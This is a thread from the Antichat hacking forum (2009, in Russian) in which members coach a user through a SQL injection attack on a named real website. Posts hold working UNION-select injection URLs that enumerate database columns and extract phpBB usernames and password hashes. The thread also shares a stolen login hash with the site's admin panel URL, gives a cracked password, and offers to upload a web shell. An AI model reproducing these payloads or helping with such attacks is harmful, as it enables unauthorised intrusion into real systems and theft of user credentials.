HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4571  
Старый 11.01.2009, 08:06
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Цитата:
Сообщение от Octave_Parango  
R1dex, уже пробовал, не катит. хммммм...
Даже не знаю..
Может там две таблицы admin? Одна лежит в бд к которой ты подключен, но в ней нет колонок "admin_user","admin_password".
А вторая в другой бд и в ней как раз эти колонки?
Маловероятно, конечно, но вдруг ^^

А вообще - лучше линк выкладывать...
 
Ответить с цитированием

  #4572  
Старый 11.01.2009, 08:43
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
С нами: 9634789

Репутация: 4
По умолчанию

Ребята, такой вопрос. Нашол таблицу phpbb_users, при запросе
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+inform ation_schema.columns+where+table_name=%27phpbb_use rs%27+limit+1,1
выбивало ошибку, прочитал весь форум, понял, нада закодирывать...кодирнул в чар...выдаёт тупо пустую страницу....В чём моя ошибка....подскажите плиз..всю ночь просидел.
 
Ответить с цитированием

  #4573  
Старый 11.01.2009, 08:49
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Возможно, ты кодируешь 'phpbb_users', а нужно phpbb_users. (без кавычек)

Код:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+information_schema.columns+where+table_name=0x70687062625f7573657273+limit+1,1--
 
Ответить с цитированием

  #4574  
Старый 11.01.2009, 08:52
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

vakula
Цитата:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999+union+select+1,concat_ws(0x3a,username,user_pa ssword),3+from+phpbb_users+where+user_level=1+limi t+0,1
разшифруеш один из двух хешей залью тебе шелл )

по поводу 1 вопроса дай линк гляну..

Последний раз редактировалось sabe; 11.01.2009 в 09:00..
 
Ответить с цитированием

  #4575  
Старый 11.01.2009, 08:57
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
С нами: 9634789

Репутация: 4
По умолчанию

Всем спасибо.....обидно...я просто не внимательный
 
Ответить с цитированием

  #4576  
Старый 11.01.2009, 09:30
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
С нами: 9634789

Репутация: 4
По умолчанию

Цитата:
Сообщение от sabe  
vakula

разшифруеш один из двух хешей залью тебе шелл )

по поводу 1 вопроса дай линк гляну..
Линк на что?

Я так понимаю хэш нереально розшифривать?
 
Ответить с цитированием

  #4577  
Старый 11.01.2009, 09:50
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
С нами: 9634789

Репутация: 4
По умолчанию

Цитата:
Сообщение от R1dex  
Возможно, ты кодируешь 'phpbb_users', а нужно phpbb_users. (без кавычек)

Код:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+information_schema.columns+where+table_name=0x70687062625f7573657273+limit+1,1--
Подскажи плиз, что можна с пасом зделать?

loginv
pass:e4a1767e13d8cae53abc0a69c5e6c3cd

adminka http://www.cdma.kh.ua/admin
 
Ответить с цитированием

  #4578  
Старый 11.01.2009, 09:51
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Цитата:
Сообщение от vakula  
Я так понимаю хэш нереально розшифривать?
Почему?

Беря : e73f75e5b7e7924e2949d39762539117 : 21436578
 
Ответить с цитированием

  #4579  
Старый 11.01.2009, 09:57
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
С нами: 9634789

Репутация: 4
По умолчанию

Цитата:
Сообщение от R1dex  
Почему?

Беря : e73f75e5b7e7924e2949d39762539117 : 21436578
Ты кудесник!!! Обьясни ламеру каким образом ты ето сделал. Плиз
 
Ответить с цитированием

  #4580  
Старый 11.01.2009, 10:01
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

F.a.q. - всё о хешах : https://forum.antichat.ru/thread26983.html
On-line cервисы расшифровки md5 : https://forum.antichat.ru/threadnav11028-1-10.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору. Комиссия форума: 2%.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...